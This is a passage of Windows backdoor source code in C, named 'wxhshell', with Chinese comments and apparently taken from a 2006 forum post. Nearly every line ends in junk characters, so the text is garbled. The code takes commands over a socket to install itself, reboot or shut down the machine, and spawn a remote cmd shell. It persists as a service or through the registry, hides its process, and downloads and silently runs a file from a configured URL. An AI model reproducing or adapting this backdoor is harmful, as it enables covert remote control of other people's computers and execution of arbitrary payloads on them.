  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @lwqk J  
  } #XsqTK_nk  
  else { 9L};vkYk#  
F r~xN!  
    switch(cmd[0]) { e\<I:7%Rg  
  ~J|0G6H  
  // 帮助 V;"'!dVX  
  case '?': { nFqMS|EN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ' vwBG=9C  
    break; 6{M.S}.^  
  } iaB5t<t1r  
  // 安装 GOt@x9%  
  case 'i': { /?sV\shy  
    if(Install()) [# :k3aFz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ev%\YI!MaY  
    else b{&@ Lm0Tn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZU`"^FQ3A  
    break; '&9b*u";x(  
    } {T.VB~C  
  // 卸载 ?CIa)dhu  
  case 'r': { 4t":WutC  
    if(Uninstall()) 1 !sYd@iD@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yr+&|;DB  
    else ,0~=9dR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T4[eBO  
    break; { }z7N~  
    } r* U6govky  
  // 显示 wxhshell 所在路径 Z1Wra-g  
  case 'p': { CV k8MA  
    char svExeFile[MAX_PATH]; B4hR3%  
    strcpy(svExeFile,"\n\r"); 0^+W"O  
      strcat(svExeFile,ExeFile); 1W U-gQki!  
        send(wsh,svExeFile,strlen(svExeFile),0); KLX>QR@  
    break; =6Z 1yw7s  
    } R$q:Ct  
  // 重启 wegBMRQVp  
  case 'b': { [Y[|:_+5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M-n +3E9  
    if(Boot(REBOOT)) uZfo[_g0S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j0J6ySlY  
    else { 8 =d9*lm  
    closesocket(wsh); \|Mz'*  
    ExitThread(0); di|l?l^l  
    } Cd4G&(=  
    break; B#=dz,}  
    } v"`w'+  
  // 关机 G]{)yZ'}  
  case 'd': { y0 xte&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^Kn}{m/3Y  
    if(Boot(SHUTDOWN)) hQ9VcS6=gD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j:0z/gHp$  
    else { ` sSI;+  
    closesocket(wsh); k]Yd4CC2  
    ExitThread(0); E11"uWk`  
    } CGQ`i  
    break; NOvN8.K%  
    } .A E(D7d6  
  // 获取shell Yv>% 5`  
  case 's': { gD-<^Q-  
    CmdShell(wsh); nkxVc  
    closesocket(wsh); #<{sP 0v*  
    ExitThread(0); =7a9~&|  
    break; sPut@4[S  
  } z;T?2~g!  
  // 退出 Gd!y,n&s  
  case 'x': { @>:r'Fmu-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O %OeYO69  
    CloseIt(wsh); "bJWyUb  
    break; tlj^0  
    } ,a}+Jj{  
  // 离开 uKK+V6}!kj  
  case 'q': { *t63c.S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Up~#]X  
    closesocket(wsh); &U:;jlST9  
    WSACleanup(); $aEL>, X  
    exit(1); \]zH M.E1  
    break; u-D%: lz85  
        } Ay[6rUO  
  } 8/k* "^3  
  } F8q|$[nH  
BPW2WSm@<  
  // 提示信息 U2;_{n*g%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WmeV[iI  
} {$Qw]?Yv  
  } W 5-=,t  
Esd A %`  
  return; d4~!d>{n|c  
} ZjWI~"]  
/>H9T[3=  
// shell模块句柄 #}o*1  
int CmdShell(SOCKET sock) t\ ym4`"  
{ s~3"*,3@  
STARTUPINFO si; {>9vm!<[*\  
ZeroMemory(&si,sizeof(si)); (m13 ong  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `j9 ;9^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A2..gs/  
PROCESS_INFORMATION ProcessInfo; dj 4:r!5_  
char cmdline[]="cmd"; 29:] cL(5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nGq{+ G  
  return 0; ;tlvf?0!  
} "_W[X  
`ml  
// 自身启动模式 ?|kwYA$4o  
int StartFromService(void) C h>r.OfP  
{ )m|)cLT&  
typedef struct f]Xh7m(Gh  
{ UZz/v#y~  
  DWORD ExitStatus; `f S$@{YI_  
  DWORD PebBaseAddress; ]@0C1 r  
  DWORD AffinityMask; )1N~-VuT  
  DWORD BasePriority; y2KR^/LN|Y  
  ULONG UniqueProcessId; 7*.nd  
  ULONG InheritedFromUniqueProcessId; h:xvnyaI  
}   PROCESS_BASIC_INFORMATION; <v%Q|r  
0-6rIdDTM  
PROCNTQSIP NtQueryInformationProcess; :pq+SifP  
-e(e;e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6o6I]QL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n86LU Sj5  
!c W6dc^  
  HANDLE             hProcess; .kcyw>T`I  
  PROCESS_BASIC_INFORMATION pbi; LtW}R4}3  
?L x*MJZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W^k95%zBM  
  if(NULL == hInst ) return 0; fS?}(7  
\,D>zF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a]]eQ(xQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3?5JY;}h>"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6Z.Fyte  
%vUY|3G  
  if (!NtQueryInformationProcess) return 0; tnE),  
FF#T"y0Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q`kV| pjg  
  if(!hProcess) return 0; IK1'" S|  
nvbzCtC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jl9hFubwW  
TXdo,DPv7  
  CloseHandle(hProcess); {.eo?dQ  
*O_>3Hgl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >jz9o9?8  
if(hProcess==NULL) return 0; *+(rQ";x  
w$iQ,--  
HMODULE hMod; R#HVrzOO|T  
char procName[255]; ^p)#;$6b  
unsigned long cbNeeded; 8wV`mdKN  
FRa>cf4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B`|f"+.  
|P@N}P@  
  CloseHandle(hProcess); ,R. rxoO  
"%lIB{  
if(strstr(procName,"services")) return 1; // 以服务启动 L+N\B@ 0-  
bb  M^J  
  return 0; // 注册表启动 w p\-LO~  
} Q p7h|<  
1J([*)  
// 主模块 =WT&unw}  
int StartWxhshell(LPSTR lpCmdLine) o%7-<\qS  
{ Jr5dw=B gw  
  SOCKET wsl; DSQ2|{   
BOOL val=TRUE; S4\a"WYg  
  int port=0; +-C.E  
  struct sockaddr_in door; bgLa`8  
F Y<Q|Ov  
  if(wscfg.ws_autoins) Install(); 4M#i_.`z  
h+=IxF4  
port=atoi(lpCmdLine); ":0u%E?s  
3^[P  
if(port<=0) port=wscfg.ws_port; =^1jVaAL  
k3K*{"z  
  WSADATA data; q #mBNe62p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =p^$>o  
1w~PHH`~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?Z2`8]-E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Unvl~lm6  
  door.sin_family = AF_INET; \3OEC`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ; [G:  
  door.sin_port = htons(port); Q3Pu<j}Y  
URceq2_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yDfH`]i)U  
closesocket(wsl); ?7}ybw3t]  
return 1; D=Q.Q  
} >$7x]f  
FQJiLb._Z  
  if(listen(wsl,2) == INVALID_SOCKET) { %N)B8A9kh  
closesocket(wsl); To}eJ$8*5  
return 1; SIapY%)h  
} ((C|&$@M  
  Wxhshell(wsl); ! ui   
  WSACleanup(); D(l,Z  
*?BY+0  
return 0; +j{(NwsX  
TG[u3 Y4  
} -'Ay(h   
rRg,{:;A  
// 以NT服务方式启动 D'<L6w`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R\|,GZ!`+  
{ 1~t.2eUG  
DWORD   status = 0; ]XU4nNi  
  DWORD   specificError = 0xfffffff; 8T1zL.u>q  
VcGl8~#9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >ei~:z]R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >MJ#|vO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E447'aJ  
  serviceStatus.dwWin32ExitCode     = 0; +q'\rpt  
  serviceStatus.dwServiceSpecificExitCode = 0; ?h6|N%U'  
  serviceStatus.dwCheckPoint       = 0; vo f8bQ{&  
  serviceStatus.dwWaitHint       = 0; 23P&n(.  
+l^tT&s;f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5CZyA`3V^5  
  if (hServiceStatusHandle==0) return; ]Cj@",/3#  
;Ax-f04gG  
status = GetLastError(); \o}T0YX  
  if (status!=NO_ERROR) K fD. J)  
{ Ly&+m+Gwu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?<${?L>  
    serviceStatus.dwCheckPoint       = 0; )i}j\";>L  
    serviceStatus.dwWaitHint       = 0; OL>)SJj5  
    serviceStatus.dwWin32ExitCode     = status; H.\`(`6  
    serviceStatus.dwServiceSpecificExitCode = specificError; T[ZmD{6l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \?; `_E`j  
    return; ep=r7Mft  
  } :~ pGHl  
3("C'(W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y92R}e\M  
  serviceStatus.dwCheckPoint       = 0; +9w[/n^,G  
  serviceStatus.dwWaitHint       = 0; .ojEKu+EJ'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gYhY1Mym  
} 9T;4aP>6j#  
>*RU:X  
// 处理NT服务事件,比如:启动、停止 Hl`OT5 pNf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `*Yw-HL  
{ UB.1xcI  
switch(fdwControl) UxL*I[z5  
{ 5X20/+aT  
case SERVICE_CONTROL_STOP: :ZM9lBYh  
  serviceStatus.dwWin32ExitCode = 0; uX*2Rs$s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4~,Z 'k  
  serviceStatus.dwCheckPoint   = 0; *[{j'7*cc  
  serviceStatus.dwWaitHint     = 0; sSh{.XuB+3  
  { sqrLys_S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l::q F 0  
  } QQBh)5F  
  return; QkBw59L7  
case SERVICE_CONTROL_PAUSE: E +_n@t"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <%m YsaM  
  break; +b(};(wL  
case SERVICE_CONTROL_CONTINUE: i'm<{ v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5Jbwl$mZ  
  break; ^1najUpQ_n  
case SERVICE_CONTROL_INTERROGATE: $DoR@2 ~y  
  break; -N8rs[c  
}; w}gmVJ#p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `Gqe]ZE#"  
} <Z]#vr q  
-B;#pTG  
// 标准应用程序主函数 SLKpl LO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Wd:pqhLh  
{ umIGI  
bZ\R0[0  
// 获取操作系统版本 s0/O/G?  
OsIsNt=GetOsVer(); $D1ha CL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); itg_+%^R  
j(=w4Sd_W  
  // 从命令行安装 h m,{C  
  if(strpbrk(lpCmdLine,"iI")) Install(); (-gomn  
h^SWb9 1"G  
  // 下载执行文件 `gX|q3K\s  
if(wscfg.ws_downexe) { D5,]E`jwu  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oZa'cZNs  
  WinExec(wscfg.ws_filenam,SW_HIDE); J,F1Xmr4  
} p?i.<Z  
fOV_ >]u  
if(!OsIsNt) { lI<jYd 0fZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 } ?j5V  
HideProc(); @@AL@.*  
StartWxhshell(lpCmdLine); w}ji]V}  
} Zz0bd473k?  
else pR61bl)  
  if(StartFromService()) 9MMCWMV  
  // 以服务方式启动 Y;/@[AwF  
  StartServiceCtrlDispatcher(DispatchTable); aUaeK(x:H  
else 6kYluV+j  
  // 普通方式启动 vqSpF6F q  
  StartWxhshell(lpCmdLine); F\ B/q  
suY47DCX)  
return 0; zMsup4cl  
}
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只看该作者 1 发表于: 2006-10-10
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